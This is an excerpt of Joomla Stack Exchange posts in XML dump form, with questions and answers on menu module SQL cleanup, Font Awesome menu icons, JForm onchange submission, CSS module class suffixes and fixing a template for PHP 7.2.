  <row Id="24122" PostTypeId="2" ParentId="24121" CreationDate="2019-01-23T06:43:32.287" Score="0" Body="&lt;p&gt;RECOMMENDED:&lt;br/&gt; &#xA;BACKUP your website, and test it on the backup website doing this action to the live website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done using SQL, if you can access phpMyAdmin, or any database access to run an sql statement, try this statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM dbprefix_modules_menu&#xA;WHERE menuid = HOME_PAGE_ID&#xA;AND moduleid IN ( SELECT moduleid FROM (&#xA;                      SELECT mm.moduleid &#xA;                      FROM dbprefix_modules_menu AS mm &#xA;                      WHERE mm.menuid = BIO_PAGE_ID ) tempTable                     &#xA;                 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;em&gt;dbprefix&lt;/em&gt; with your real database prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace HOME_PAGE_ID and BIO_PAGE_ID with their corresponding values from the ID column of the Menu Items manager, look at the attached screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q3rOr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q3rOr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8051" LastEditorUserId="8051" LastEditDate="2019-01-28T18:40:50.757" LastActivityDate="2019-01-28T18:40:50.757" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24125" PostTypeId="1" AcceptedAnswerId="24132" CreationDate="2019-01-23T17:44:18.330" Score="1" ViewCount="809" Body="&lt;p&gt;I'm working on a custom Joomla module. I have a JForm that contains multiple custom dropdown lists based on JFormFieldList. The form should be submitted when a value is selected from one of the custom lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this? &#xA;It seems that I should add the following expression to select html tag:&#xA;onchange=&quot;this.form.submit()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/7231157/how-to-submit-form-on-change-of-dropdown-list&quot;&gt;https://stackoverflow.com/questions/7231157/how-to-submit-form-on-change-of-dropdown-list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as the html select tag is not directly generated by my code, I'm not sure how to do this the best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints are highly appreciated!&#xA;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2019-01-24T08:20:14.563" Title="How to submit JForm form based on custom dropdown list value change" Tags="|javascript|jform|dropdown|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24126" PostTypeId="1" CreationDate="2019-01-24T03:43:13.620" Score="0" ViewCount="657" Body="&lt;p&gt;It's pretty easy - and not. Simply add fa fa-home to menu item &gt; Link Type &gt; Link Class, and you got your icon in front of your item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a problem is that the font following refers to Font Awesome (serif font) and there is no space between the icon and the item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can add the icon with space and without referring to the serif font Awesome font?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this in Menu Item &gt; Link Type &gt; Link Class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fa-home --&gt; nothing shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fa fa-home --&gt; icon shows, no space between the icon and the link + serif font&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fa fa-home [&amp;amp;nb sp;] --&gt; icon shows, no space between the icon and the link + serif font&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&amp;amp;nb sp;] = no break space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c559H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c559H.png&quot; alt=&quot;https://snag.gy/IFNB3l.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11868" LastEditorUserId="11868" LastEditDate="2019-01-24T06:43:40.453" LastActivityDate="2019-01-24T06:54:56.887" Title="Add font awesome to menu item" Tags="|styling|icon|font-awesome|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24127" PostTypeId="2" ParentId="24126" CreationDate="2019-01-24T04:29:44.470" Score="2" Body="&lt;p&gt;Add &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; to the beginning of the Menu Title.&lt;/p&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2019-01-24T05:56:32.550" LastActivityDate="2019-01-24T05:56:32.550" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24128" PostTypeId="1" CreationDate="2019-01-24T06:09:41.193" Score="1" ViewCount="231" Body="&lt;p&gt;I've been following the advice on how to put a header image above the nav bar in Purity-III given in &lt;a href=&quot;https://joomla.stackexchange.com/a/16321/&quot;&gt;https://joomla.stackexchange.com/a/16321/&lt;/a&gt;&#xA;I managed to reproduce the solution however what I really need is to use my image as a background for the navigation menu or the menu should be immediately below the image and both should be fixed. Because the image replaces the logo in the navigation bar I also need to get rid of the logo field. Unfortunately, I am a beginner, so don't really know where to start. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13274" LastActivityDate="2019-01-24T06:09:41.193" Title="How to make a header image above the navigation bar in Purity III fixed and/or how to attach the nav menu to it?" Tags="|joomla-3.x|templates|t3-framework|purity-iii|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24129" PostTypeId="5" CreationDate="2019-01-24T06:40:20.060" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://fortawesome.github.com/Font-Awesome/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Font Awesome&lt;/a&gt; is an iconic font developed for use with the &lt;a href=&quot;http://getbootstrap.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Twitter Bootstrap&lt;/a&gt; front-end framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Font Awesome is currently on version 4.7. For those who haven't updated or are unable to update to the latest version, the version 3.2.1 documentation is available &lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/3.2.1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. To differentiate between versions look for the &lt;code&gt;fa fa-[name]&lt;/code&gt; for ver 4.x, and &lt;code&gt;icon-[name]&lt;/code&gt; for ver 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 4.1 was the first Font Awesome version that drops support of IE7 entirely, so you &lt;strong&gt;should not&lt;/strong&gt; upgrade to it or any later version if your application must support IE7 browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current version provides &lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/icons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;675 font-icons&lt;/a&gt; in 16 groups (including 41 new icons in 4.7 branch):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Web Application Icons&lt;/li&gt;&#xA;&lt;li&gt;Accessibility Icons&lt;/li&gt;&#xA;&lt;li&gt;Hand Icons&lt;/li&gt;&#xA;&lt;li&gt;Transportation Icons&lt;/li&gt;&#xA;&lt;li&gt;Gender Icons&lt;/li&gt;&#xA;&lt;li&gt;File Type Icons&lt;/li&gt;&#xA;&lt;li&gt;Spinner Icons&lt;/li&gt;&#xA;&lt;li&gt;Form Control Icons&lt;/li&gt;&#xA;&lt;li&gt;Payment Icons&lt;/li&gt;&#xA;&lt;li&gt;Chart Icons&lt;/li&gt;&#xA;&lt;li&gt;Currency Icons&lt;/li&gt;&#xA;&lt;li&gt;Text Editor Icons&lt;/li&gt;&#xA;&lt;li&gt;Directional Icons&lt;/li&gt;&#xA;&lt;li&gt;Video Player Icons&lt;/li&gt;&#xA;&lt;li&gt;Brand Icons&lt;/li&gt;&#xA;&lt;li&gt;Medical Icons&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Font Awesome is purely built using scalable vector graphics, so it provides clear, smooth and scalable icons for use in different browsers and on different devices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;em&gt;subset&lt;/em&gt; font-awesome using either &lt;a href=&quot;https://github.com/johnsmclay/icnfnt&quot; rel=&quot;nofollow noreferrer&quot;&gt;icnfnt&lt;/a&gt; or &lt;a href=&quot;http://fontello.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;fontello&lt;/a&gt; to create specific icon sets rather than downloading the entire family of icons. It's also available as a hosted file on a content delivery network &lt;a href=&quot;http://www.bootstrapcdn.com/#fontawesome_tab&quot; rel=&quot;nofollow noreferrer&quot;&gt;BootstrapCDN&lt;/a&gt; (provided by &lt;a href=&quot;http://www.maxcdn.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MaxCDN&lt;/a&gt; company).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is free for commercial use and licensed under the &lt;a href=&quot;http://scripts.sil.org/OFL&quot; rel=&quot;nofollow noreferrer&quot;&gt;SIL Open Font License 1.1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Syntax, ver 3.x (&lt;a href=&quot;//fortawesome.github.io/Font-Awesome/3.2.1/examples/&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;):&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;icon-[name]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with some examples: &lt;/p&gt;&#xA;&#xA; &#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;i class=&quot;icon-cogs&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&amp;lt;i class=&quot;bookmark-empty&quot;&amp;gt;&amp;lt;/i&amp;gt; &#xA;&amp;lt;i class=&quot;icon-facebook-sign&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&amp;lt;i class=&quot;icon-arrow-left&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vssi7.png&quot; alt=&quot;Basic example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;[name]&lt;/code&gt; can be found in &lt;a href=&quot;//fortawesome.github.io/Font-Awesome/3.2.1/icons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;icon list&lt;/a&gt;, and different extensions and modifications are found in the &lt;a href=&quot;//fortawesome.github.io/Font-Awesome/3.2.1/examples/&quot; rel=&quot;nofollow noreferrer&quot;&gt;old documentation&lt;/a&gt;. See also &lt;a href=&quot;//github.com/FortAwesome/Font-Awesome/wiki/Upgrading-from-3.2.1-to-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;issues when upgrading&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Syntax, ver 4.x (&lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/whats-new&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;):&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fa fa-[name]-[shape]-[o]-[direction]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[name]&lt;/code&gt; is the name of the icon (&lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/icons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;icon list&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[shape]&lt;/code&gt; is the optional shape of the icon's background: either &lt;code&gt;circle&lt;/code&gt; or &lt;code&gt;square&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[o]&lt;/code&gt; is the optional outlined version of the icon.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[direction]&lt;/code&gt; is the direction in which certain icons point (arrows, etc.).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;i class=&quot;fa fa-cogs&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&amp;lt;i class=&quot;fa fa-bookmark-o&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&amp;lt;i class=&quot;fa fa-facebook-square&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&amp;lt;i class=&quot;fa fa-arrow-left&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vssi7.png&quot; alt=&quot;Basic Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Font Awesome icons are font-based we can then apply our own &lt;a href=&quot;/questions/tagged/css&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;css&amp;#39;&quot; rel=&quot;tag&quot;&gt;css&lt;/a&gt; styling on top:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i.fa {&#xA;    color: purple;&#xA;    font-size: 64px;&#xA;    padding: 5px 10px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8rSPY.png&quot; alt=&quot;CSS-applied Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-01-29T09:14:14.577" LastActivityDate="2019-01-29T09:14:14.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24130" PostTypeId="4" CreationDate="2019-01-24T06:40:20.060" Score="0" Body="Font Awesome is an iconic standalone vector font, initially developed for use with the Twitter Bootstrap front-end framework." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-01-29T09:14:10.080" LastActivityDate="2019-01-29T09:14:10.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24131" PostTypeId="2" ParentId="24126" CreationDate="2019-01-24T06:54:56.887" Score="0" Body="&lt;p&gt;If you want a CSS solution, create a rule that mimics &lt;code&gt;.fa&lt;/code&gt; styling but uses &lt;code&gt;before&lt;/code&gt; pseudo-selector. Example for v4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.fa-example::before {&#xA;    font-family: FontAwesome !important;&#xA;    speak: none;&#xA;    font-style: normal;&#xA;    font-weight: 400;&#xA;    font-variant: normal;&#xA;    text-transform: none;&#xA;    line-height: 1;&#xA;    -webkit-font-smoothing: antialiased;&#xA;    -moz-osx-font-smoothing: grayscale;&#xA;    display: inline-block;&#xA;    width: 1.28571429em;&#xA;    text-align: center;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use it instead of &lt;code&gt;fa&lt;/code&gt; class, e.g. &lt;code&gt;fa fa-home&lt;/code&gt; becomes &lt;code&gt;fa-example fa-home&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-24T06:54:56.887" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24132" PostTypeId="2" ParentId="24125" CreationDate="2019-01-24T08:20:14.563" Score="2" Body="&lt;p&gt;&lt;code&gt;onchange&lt;/code&gt; attribute can be added to the fields in your XML form. E.g. this is used in filter forms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;access&quot;&#xA;    type=&quot;accesslevel&quot;&#xA;    label=&quot;JOPTION_FILTER_ACCESS&quot;&#xA;    description=&quot;JOPTION_FILTER_ACCESS_DESC&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_ACCESS&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your component follows Joomla's standard MVC pattern, you can use controller's &lt;code&gt;reload()&lt;/code&gt; method to reload the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onchange=&quot;Joomla.submitform('example.reload', this.form)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;example&lt;/code&gt; is the name of the controller.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-24T08:20:14.563" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24133" PostTypeId="1" AcceptedAnswerId="24136" CreationDate="2019-01-24T15:32:14.170" Score="2" ViewCount="271" Body="&lt;p&gt;Joomla! 3.9.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a 'custom html' module and in the module settings Advanced &gt; I've added the &lt;code&gt;feature-box&lt;/code&gt; suffix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;custom.css&lt;/code&gt; file I have added the following code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.feature-box {&#xA;  border: 3px solid #039be5;&#xA;  margin-bottom: 13px;&#xA;  text-align: center;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I view my site front end the css is duplicating, see image;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fG9j3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fG9j3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the console I can see that the class is being added in two places. See image;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/88Pxx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/88Pxx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something incorrect or is this a bug? I've seen a similar issue &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=906976&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but couldn't find a resolution without editing core files.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-07-11T20:40:11.633" Title="Module Class Suffix Child Div" Tags="|joomla-3.x|css|custom-module|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24134" PostTypeId="1" CreationDate="2019-01-24T15:47:14.930" Score="0" ViewCount="750" Body="&lt;p&gt;When I update PHP from PHP7 to PHP7.2 the website gives this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;500 Internal Server Error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is in the Log file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Thu Jan 24 04:44:56.061781 2019] [proxy_fcgi:error] [pid 30185:tid 139984342161152] [client xxxxx] AH01071: Got error 'PHP message: PHP Notice:  Undefined variable: option in /home/xxxxx/domains/xxxxxxxxx.xx/public_html/templates/dj-business004/index.php on line 51\n'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Line 51 is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($option &amp;amp;&amp;amp; isset($sideBarsScheme[$option]) &amp;amp;&amp;amp; trim($sideBarsScheme[$option]) &amp;amp;&amp;amp; stristr($sideBarsScheme[$option],'content')!= false){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code line 51 - 55:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($option &amp;amp;&amp;amp; isset($sideBarsScheme[$option]) &amp;amp;&amp;amp; trim($sideBarsScheme[$option]) &amp;amp;&amp;amp; stristr($sideBarsScheme[$option],'content')!= false){&#xA;    $currentScheme = trim($sideBarsScheme[$option]);&#xA;} else {&#xA;    $currentScheme = $sideBarsScheme['default'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I repair this?&lt;/p&gt;&#xA;" OwnerUserId="13267" LastEditorUserId="12352" LastEditDate="2019-01-24T23:26:00.093" LastActivityDate="2024-01-30T00:01:05.167" Title="PHP7.2 Undefined variable: option in .... index.php with Dj-Business004 template" Tags="|php|templates|variable|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24135" PostTypeId="2" ParentId="24134" CreationDate="2019-01-24T16:09:06.603" Score="0" Body="&lt;p&gt;Ok I've just taken a look at the code for your template and it looks like a Joomla 1.5 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Joomla 1.5, PHP 7.2 isn't supported at all. I'd strongly suggest migrating to Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already are using Joomla 3.x, then the &lt;code&gt;$option&lt;/code&gt; simply isn't defined anywhere in your &lt;code&gt;index.php&lt;/code&gt; or &lt;code&gt;menu.php&lt;/code&gt;. Perhaps the PHP 7.0 version you had supressed all errors, not sure but it needs fixing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue being is I have no idea what &lt;code&gt;$option&lt;/code&gt; is supposed to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the following code on your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sideBarsScheme = array (&#xA;    //by default&#xA;    'default'=&amp;gt;      'left-right-content',&#xA;&#xA;    // specify extra options for different components&#xA;    // if you dont write left or right - these positions wont be published&#xA;    // left-right-content | right-left-content | content-right-left | content-left-right&#xA;    // left-content-right | right-content-left&#xA;    // right-content | content-left | left-content | content-right&#xA;    'com_contact'=&amp;gt;  'content',&#xA;    'com_search'=&amp;gt;  'content-left-right',&#xA;    'com_content'=&amp;gt;  'left-content-right',&#xA;    'com_frontpage'=&amp;gt; 'left-content-right'&#xA;&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this was originally a Joomla 1.0 template which was updated to support 1.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have 2 options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt; Use a new (HTML5) template that utilises the Joomla API and was build fro Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt; Add the following line of code to the top of your &lt;code&gt;index.php&lt;/code&gt;, just above the big block of code I shared above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-01-24T19:59:09.860" LastActivityDate="2019-01-24T19:59:09.860" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24136" PostTypeId="2" ParentId="24133" CreationDate="2019-01-24T23:15:27.970" Score="0" Body="&lt;p&gt;The forum thread that you linked suggests that there is little that can be done to squash this bug without breaking other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just realized that Joomla Stack Exchange doesn't offer a &quot;runnable snippet&quot; in the answers (so I wrote up this solution at StackOverflow to test it, then transferred it here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advice from the forum is to adjust your css declaration to isolate the desired element.  If you want to target the outer one, you could could additionally check for the class(es) of &lt;code&gt;t3-module&lt;/code&gt; and/or &lt;code&gt;module&lt;/code&gt;.  Or as I will demonstrate, you can also check for the existence of an &lt;code&gt;id&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.feature-box[id] {&#xA;  border: 3px solid #039be5;&#xA;  margin-bottom: 13px;&#xA;  text-align: center;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;t3-spotlight t3-feature-1  row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot; col-lg-6 col-md-6 col-sm-6 col-xs-6&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;t3-module module feature-box&quot; id=&quot;Mod738&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;module-inner&quot;&amp;gt;&#xA;        &amp;lt;h3 class=&quot;module-title &quot;&amp;gt;FEATURE BOX 1 CONTENT&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;div class=&quot;module-ct&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;custom feature-box&quot;&amp;gt;feature box 1 content&amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/h3&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Of course, other css trickery could be used if those techniques aren't suitable, such as checking for a certain parent element's attributes or even an ancestor's attributes and use &lt;code&gt;&amp;gt;&lt;/code&gt; to denote the relationship down the DOM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am mistaken and you don't want to style the outer box, but wish to style the inner box, then you could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.feature-box.custom {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.custom.feature-box {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will target elements that contain both classes.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-24T23:15:27.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24137" PostTypeId="2" ParentId="24134" CreationDate="2019-01-25T11:14:50.680" Score="-1" Body="&lt;p&gt;I set debug in configuration file to 1 and opened another page (not homepage that only gave 500 error)&#xA;The other page showed this error:&#xA;0 - [] operator not supported for strings&#xA;[] operator not supported for strings&lt;br&gt;&#xA;/home/xxx/domains/xxx.xx/public_html/templates/dj-business004/index.php:68&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call stack&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Function    Location&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;1   ()  JROOT/templates/dj-business004/index.php:68&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$schemeOutput = '';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$schemeOutput = array();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the issue was solved. Website works on PHP7.2 now.&lt;/p&gt;&#xA;" OwnerUserId="13267" LastActivityDate="2019-01-25T11:14:50.680" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24138" PostTypeId="2" ParentId="18165" CreationDate="2019-01-25T11:21:51.897" Score="0" Body="&lt;p&gt;trying to update joomla in localhost&#xA; “ERROR: The archive file is corrupt, truncated or archive parts are missing” while &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto configuration.php   file edit&lt;br&gt;&#xA;public $tmp_path = '../tmp'; to public $tmp_path = '/tmp';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The update will working file&lt;/p&gt;&#xA;" OwnerUserId="13095" LastActivityDate="2019-01-25T11:21:51.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24139" PostTypeId="2" ParentId="14622" CreationDate="2019-01-25T21:43:05.550" Score="2" Body="&lt;p&gt;Perhaps your module has an override in the template used by the website. You can verify this in the template configuration page of the back-office. If that's the case, just delete the /templates/[template name]/html/[mod_your_template] folder, and Joomla will use your original module files.&lt;/p&gt;&#xA;" OwnerUserId="13281" LastActivityDate="2019-01-25T21:43:05.550" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
